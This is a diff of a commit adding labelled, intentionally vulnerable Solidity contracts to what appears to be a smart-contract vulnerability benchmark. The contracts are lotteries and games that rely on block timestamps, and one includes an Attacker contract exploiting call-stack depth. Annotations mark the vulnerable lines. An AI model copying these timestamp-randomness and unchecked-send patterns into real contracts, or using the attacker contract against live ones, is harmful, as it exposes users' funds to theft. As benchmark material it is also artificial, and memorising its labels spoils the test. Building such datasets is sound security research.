dataset/time_manipulation/ether_lotto.sol
Normal file
@@ -0,0 +1,59 @@
|
||||
/*
|
||||
* @article: https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620
|
||||
* @source: https://etherscan.io/address/0xa11e4ed59dc94e69612f3111942626ed513cb172#code
|
||||
* @vulnerable_at_lines: 43
|
||||
* @author: -
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.15;
|
||||
|
||||
/// @title Ethereum Lottery Game.
|
||||
|
||||
contract EtherLotto {
|
||||
|
||||
// Amount of ether needed for participating in the lottery.
|
||||
uint constant TICKET_AMOUNT = 10;
|
||||
|
||||
// Fixed amount fee for each lottery game.
|
||||
uint constant FEE_AMOUNT = 1;
|
||||
|
||||
// Address where fee is sent.
|
||||
address public bank;
|
||||
|
||||
// Public jackpot that each participant can win (minus fee).
|
||||
uint public pot;
|
||||
|
||||
// Lottery constructor sets bank account from the smart-contract owner.
|
||||
function EtherLotto() {
|
||||
bank = msg.sender;
|
||||
}
|
||||
|
||||
// Public function for playing lottery. Each time this function
|
||||
// is invoked, the sender has an oportunity for winning pot.
|
||||
function play() payable {
|
||||
|
||||
// Participants must spend some fixed ether before playing lottery.
|
||||
assert(msg.value == TICKET_AMOUNT);
|
||||
|
||||
// Increase pot for each participant.
|
||||
pot += msg.value;
|
||||
|
||||
// Compute some *almost random* value for selecting winner from current transaction.
|
||||
// <yes> <report> TIME_MANIPULATION
|
||||
var random = uint(sha3(block.timestamp)) % 2;
|
||||
|
||||
// Distribution: 50% of participants will be winners.
|
||||
if (random == 0) {
|
||||
|
||||
// Send fee to bank account.
|
||||
bank.transfer(FEE_AMOUNT);
|
||||
|
||||
// Send jackpot to winner.
|
||||
msg.sender.transfer(pot - FEE_AMOUNT);
|
||||
|
||||
// Restart jackpot.
|
||||
pot = 0;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
53
dataset/time_manipulation/governmental_survey.sol
Normal file
53
dataset/time_manipulation/governmental_survey.sol
Normal file
@@ -0,0 +1,53 @@
|
||||
/*
|
||||
* @source: http://blockchain.unica.it/projects/ethereum-survey/attacks.html#governmental
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 27
|
||||
*/
|
||||
|
||||
//added pragma version
|
||||
pragma solidity ^0.4.0;
|
||||
|
||||
contract Governmental {
|
||||
address public owner;
|
||||
address public lastInvestor;
|
||||
uint public jackpot = 1 ether;
|
||||
uint public lastInvestmentTimestamp;
|
||||
uint public ONE_MINUTE = 1 minutes;
|
||||
|
||||
function Governmental() {
|
||||
owner = msg.sender;
|
||||
if (msg.value<1 ether) throw;
|
||||
}
|
||||
|
||||
function invest() {
|
||||
if (msg.value<jackpot/2) throw;
|
||||
lastInvestor = msg.sender;
|
||||
jackpot += msg.value/2;
|
||||
// <yes> <report> TIME_MANIPULATION
|
||||
lastInvestmentTimestamp = block.timestamp;
|
||||
}
|
||||
|
||||
function resetInvestment() {
|
||||
if (block.timestamp < lastInvestmentTimestamp+ONE_MINUTE)
|
||||
throw;
|
||||
|
||||
lastInvestor.send(jackpot);
|
||||
owner.send(this.balance-1 ether);
|
||||
|
||||
lastInvestor = 0;
|
||||
jackpot = 1 ether;
|
||||
lastInvestmentTimestamp = 0;
|
||||
}
|
||||
}
|
||||
|
||||
contract Attacker {
|
||||
|
||||
function attack(address target, uint count) {
|
||||
if (0<=count && count<1023) {
|
||||
this.attack.gas(msg.gas-2000)(target, count+1);
|
||||
}
|
||||
else {
|
||||
Governmental(target).resetInvestment();
|
||||
}
|
||||
}
|
||||
}
|
||||
33
dataset/time_manipulation/lottopollo.sol
Normal file
33
dataset/time_manipulation/lottopollo.sol
Normal file
@@ -0,0 +1,33 @@
|
||||
/*
|
||||
* @source: https://github.com/seresistvanandras/EthBench/blob/master/Benchmark/Simple/timestampdependent.sol
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 13,27
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.0;
|
||||
contract lottopollo {
|
||||
address leader;
|
||||
uint timestamp;
|
||||
function payOut(uint rand) internal {
|
||||
// <yes> <report> TIME MANIPULATION
|
||||
if ( rand> 0 && now - rand > 24 hours ) {
|
||||
msg.sender.send( msg.value );
|
||||
|
||||
if ( this.balance > 0 ) {
|
||||
leader.send( this.balance );
|
||||
}
|
||||
}
|
||||
else if ( msg.value >= 1 ether ) {
|
||||
leader = msg.sender;
|
||||
timestamp = rand;
|
||||
}
|
||||
}
|
||||
function randomGen() constant returns (uint randomNumber) {
|
||||
// <yes> <report> TIME MANIPULATION
|
||||
return block.timestamp;
|
||||
}
|
||||
function draw(uint seed){
|
||||
uint randomNumber=randomGen();
|
||||
payOut(randomNumber);
|
||||
}
|
||||
}
|
||||
25
dataset/time_manipulation/roulette.sol
Normal file
25
dataset/time_manipulation/roulette.sol
Normal file
@@ -0,0 +1,25 @@
|
||||
/*
|
||||
* @source: https://github.com/sigp/solidity-security-blog
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 18,20
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract Roulette {
|
||||
uint public pastBlockTime; // Forces one bet per block
|
||||
|
||||
constructor() public payable {} // initially fund contract
|
||||
|
||||
// fallback function used to make a bet
|
||||
function () public payable {
|
||||
require(msg.value == 10 ether); // must send 10 ether to play
|
||||
// <yes> <report> TIME_MANIPULATION
|
||||
require(now != pastBlockTime); // only 1 transaction per block
|
||||
// <yes> <report> TIME_MANIPULATION
|
||||
pastBlockTime = now;
|
||||
if(now % 15 == 0) { // winner
|
||||
msg.sender.transfer(this.balance);
|
||||
}
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user